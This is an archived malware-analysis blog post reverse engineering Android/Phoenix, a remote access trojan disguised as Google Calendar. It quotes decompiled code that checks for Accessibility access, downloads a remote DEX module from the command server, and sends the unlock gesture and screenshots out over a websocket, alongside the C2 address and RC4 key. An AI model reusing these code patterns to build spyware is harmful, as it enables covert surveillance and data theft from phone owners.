Reverse engineering of Android/Phoenix By @cryptax Published: 2024-05-13 · Archived: 2026-04-05 19:24:44 UTC Android/Phoenix is a malicious Remote Access Tool. Its main goal is to extensively spy on the victim’s phone (grab all screenshots, steal the unlock gesture etc). The attacker controls the infected phone via various predefined commands sent on a websocket. This blog post contains the reverse engineering of sample 6485ead2248298b48d4e677d3fb740b8ce8688bc7b4adb7a4d2ac3af827da46b of mid January 2024. The sample poses as a Google Calendar application. Update May 13, 2024. @TuringAlex shared leaked sources of Phoenix Android applications and C2 panel. Was able to confirm my reverse engineering is correct 😉 https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 1 of 14 The malware poses as a Google Calendar application and asks the user to enable Accessibility for it. Overview with DroidLysis DroidLysis finds the package name and the main activity… but actually there are 2 potential main activities: fake and IndexACT . DroidLysis says the sample isn’t packed, but it uses DexClassLoader and ClassLoader . This usually happens when a remote DEX is downloaded and installed. The sample uses the Accessibility API ( com/service/app/Services/Access ), Device Administrator API ( com/service/app/Main/ReceiverDeviceAdmin ), encryption ( com/service/app/Bundle/stringDecrypter ), presumably disables doze mode ( com/service/app/Services/utils ), steals incoming SMS and discusses with a remote server. https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 2 of 14 Press enter or click to view image in full size DroidLysis identifies the remote server: 135.181.11.14 . Startup Static reverse engineering shows that fake is a fake activity that loads an URL hxxps://calendar.pioneer-team.com (non malicious on Feb 5, 2024), while the real malicious code starts from IndexACT . The malware starts: - AccessActivity . As expected, the activity requests access to the Accessibility API. The page it displays is loaded as a WebView , whose HTML content is base64 decoded from a hard-coded resource string. ComponentName componentName0 = new ComponentName(context0, class0); String s = Settings.Secure.getString(context0.getContentResolver(), “enabled_accessibility_services” if(s == null) { return false; } … webView0.addJavascriptInterface(new WebAppInterface(this, this), this.consts.string_1); String s = this.getString(string.access); try { webView0.loadDataWithBaseURL(null, new String(Base64.decode(s, 0), this.consts.strUTF_8), this.const this.setContentView(webView0); } - HintService . This service displays a Notification to ask the victim to grant access to the Accessibility API. https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 3 of 14 Notification.Builder notification$Builder0 = new Notification.Builder(HintService.this.getApplication Intent intent0 = new Intent(HintService.this.getApplicationContext(), AccessActivity.class).addFlags intent0.putExtra(“fromNotification”, true); intent0.addFlags(0x20000000); notification$Builder0.setContentIntent(PendingIntent.getActivity(HintService.this.getApplicationConte Notification notification0 = notification$Builder0.build(); notification0.flags |= 0x20; notifmgr.notify(0x30E, notification0); - kingservice . This is usually related to KingRoot, an Android rooting application. In this case however it is not related to KingRoot and is used to start the malicious tasks of the malware. It starts a SMS receiver ( smsreceiver ) which will log incoming SMS, and a boot receiver ( BootReceiverService ) which monitors if the victim is in front of his/her smartphone or not. if(intent0.getAction().equals(“android.intent.action.SCREEN_OFF”)) { EndlessService.utl.SettingsWrite(context0, “userPresent”, “0”); return; } if(intent0.getAction().equals("android.intent.action.USER_PRESENT")) { EndlessService.utl.SettingsWrite(context0, "userPresent", "1"); } Besides SMS receiver and Boot Receiver, the main malicious tasks started by kingservice are in App.runMainTasks . It starts communication with the remote server ( Netmanager service), requests device administrator rights ( AccessAdm activity), locks the device (by a call to lockNow () of DevicePolicyManager ), and requests victim to ignore battery optimizations. Communication with the remote server The malware communicates to a remote server 135.181.11.14 via 2 different channels: 1. Via HTTP, on port 4000. 2. Via a web socket, on port 8000 Both ports do not respond any longer. HTTP communication The malware sends an HTTP GET request to hxxp://135.181.11.14:4000/gate.php . public String httpRequest(Context context0, String s) { String s1 = this.SettingsRead(context0, this.consts.urlAdminPanel); this.Log(“Connect”, “” + s1); https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 4 of 14 return new RequestHttp().sendRequest(s1 + this.consts.str_gate, s); } The action to perform and data to send are provided as arguments to the GET request. For example, when the malware checks the remote server is available, it contacts hxxp://135.181.11.14:4000/gate.php?action=botcheck&data=ENCRYPTED_DATA . Get @cryptax’s stories in your inbox Join Medium for free to get updates from this writer. Remember me for faster sign in The victim’s data is encrypted with RC4 (key is podEID53t29v ) + RC4. Data is a JSON object with several entries: bot id victim’s phone number if the malware is device administrator or not if the victim has enabled Play Protect or not if key guard is enabled or not if Accessibility API was enabled or not if the malware is set as the default SMS app or not battery level if the remote DEX was downloaded or not. Indeed, a remote DEX will be downloaded, installed and dynamically run on the victim’s phone. This is the piece of code which downloads a base64 encoded DEX. public void downloadModuleDex(Context context0, String bot_id) { JSONObject json = new JSONObject(); try { json.put(“idbot”, bot_id); } catch(JSONException unused_ex) { } String response = this.trafDeCr(this.httpRequest(context0, this.consts.str_downloaddex_action + thi this.Log(“downloadModuleDex”, “Download Module: “+ response.length()); if(response.length() > 10000) { this.Log(“downloadModuleDex”, “Save Module”); byte[] arr_b = Base64.decode(response.getBytes(), 0); try { FileOutputStream fileOutputStream0 = new FileOutputStream(new File(context0.getDir(this.consts.s fileOutputStream0.write(arr_b); fileOutputStream0.close(); this.SettingsWrite(context0, “statDownloadModule”, “1”); https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 5 of 14 } … Press enter or click to view image in full size URL for malware to report information to the C2. In the sample I analyzed, the sendKeylogger, sendSmsLog and sendInjectionLogs actions did not seem to be used. In the sample, I analyzed the actions sendKeylogger , sendSmsLog and sendInjectionLogs . They are called from the downloaded DEX only. Press enter or click to view image in full size The logs are encrypted and sent via HTTP. The method sendLogsKeylogger is not called by the main DEX. It is called by the remotely downloadable DEX. Web socket communication Some other information are sent to a remote server’s web socket. Press enter or click to view image in full size Web socket URLs https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 6 of 14 For example, this is how the malware steals the phone’s unlock gesture: JSONObject json = new JSONObject(); json.put(“id”, Access.this.id_bot); json.put(“date”, simpleDateFormat0.format(date0)); json.put(“type”, “unlock”); json.put(“text”, Access.this.gestureTexts.toString()); json.put(“gesture”, Access.this.currenGestureRecroding.toString()); JSONArray jSONArray0 = new JSONArray(); Access.this.gestureTexts = jSONArray0; if(Access.this.consts.ssl.booleanValue()) { Access.this.sendPostRequest(“https: } else { Access.this.sendPostRequest(“http: } Bot commands The botmaster issues commands on the web socket, which start or stop various tasks on the device. Press enter or click to view image in full size https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 7 of 14 Non exhaustive list of commands the bot master can issue through the web socket. Details of screen capture The screen capture service is started by bot master command start_vnc . This sends a custom action com.app.START_CAPTURE to the CaptureService : private void startCaptureService() { Intent intent0 = new Intent(this, CaptureService.class); intent0.setAction(“com.app.START_CAPTURE”); if(Build.VERSION.SDK_INT >= 26) { this.startForegroundService(intent0); return; } this.startService(intent0); } When the CaptureService receives the action, it starts a CaptureActivity : https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 8 of 14 public int onStartCommand(Intent intent0, int v, int v1) { if(“com.app.START_CAPTURE”.equals(intent0.getAction())) { this.startForeground(1, this.createNotification()); Intent intent1 = new Intent(this, CaptureActivity.class); intent1.addFlags(0x10008000); this.startActivity(intent1); return 2; } … The capture activity implements a OnImageAvailableListener , which takes a screenshot each time a new image is created (this is a better idea than randomly taking a screenshot every x seconds regardless of activity). The image is Base64 encoded and broadcasted as a com.app.SCREEN_CAPTURE intent. private void sendBroadcast(String s) { Intent intent0 = new Intent(“com.app.SCREEN_CAPTURE”); intent0.putExtra(“base64Image”, s); LocalBroadcastManager.getInstance(this).sendBroadcast(intent0); } The message is received by a screenCaptureReceiver which sends the image to the websocket: this.screenCaptureReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context0, Intent intent) { String base64img = intent.getStringExtra(“base64Image”); if(base64img != “”) { JSONObject jSONObject0 = new JSONObject(); try { jSONObject0.put(“bot”, Access.this.id_bot); jSONObject0.put(“image”, base64img); } … if(Access.this.consts.ssl.booleanValue()) { Access.this.sendPostRequest(“https: return; } … }; Shared Settings https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 9 of 14 The malware uses a shared preferences file to store its configuration. https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 10 of 14 https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 11 of 14 Non exhaustive list of shared preferences file In utils : this.SettingsWrite(context0, this.consts.packageNameActivityInject, ViewManager.class.getCanonicalNam this.SettingsWrite(context0, this.consts.logsContacts, this.consts.str_null); this.SettingsWrite(context0, this.consts.logsSavedSMS, this.consts.str_null); this.SettingsWrite(context0, this.consts.logsApplications, this.consts.str_null); this.SettingsWrite(context0, this.consts.killApplication, this.consts.str_null); this.SettingsWrite(context0, this.consts.urls, this.consts.str_null); this.SettingsWrite(context0, this.consts.getPermissionsToSMS, this.consts.str_null); this.SettingsWrite(context0, this.consts.startInstalledTeamViewer, this.consts.str_null); this.SettingsWrite(context0, this.consts.schetBootReceiver, this.consts.str_step); this.SettingsWrite(context0, this.consts.schetAdmin, this.consts.str_step); this.SettingsWrite(context0, this.consts.day1PermissionSMS, this.consts.str_1); this.SettingsWrite(context0, this.consts.string_138, this.consts.str_null); this.SettingsWrite(context0, this.consts.start_admin, this.consts.str_1); this.SettingsWrite(context0, this.consts.undead, “0”); this.SettingsWrite(context0, “protecttry”, this.consts.str_null); this.SettingsWrite(context0, “firststart”, this.consts.str_1); this.SettingsWrite(context0, “inj_start”, “0”); this.SettingsWrite(context0, “old_start_inj”, “0”); this.SettingsWrite(context0, “app_inject”, “”); this.SettingsWrite(context0, “nameInject”, “”); … ``` At startup, the settings are: -1 0 0 0 com.service.app.Main.SMSManager 2024-02-06 13:57:07 0 0 https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 12 of 14 phoenix_0401 0 1 com.service.app.Main.ViewManager 0 1 0 0 http://135.181.11.14:4000 1 5uir 0 -1 0 true 1080 2 0 0 0 0 2131492865 3 good com.application.chronme podEID53t29v -1 -1 KingService: Service started::endLog:: 0 https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 13 of 14 0 com.google.android.apps.messagin g 0 1 0 0 1794 0 0 1 0 55 — the Crypto Girl Source: https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 https://cryptax.medium.com/reverse-engineering-of-android-phoenix-b59693c03bd3 Page 14 of 14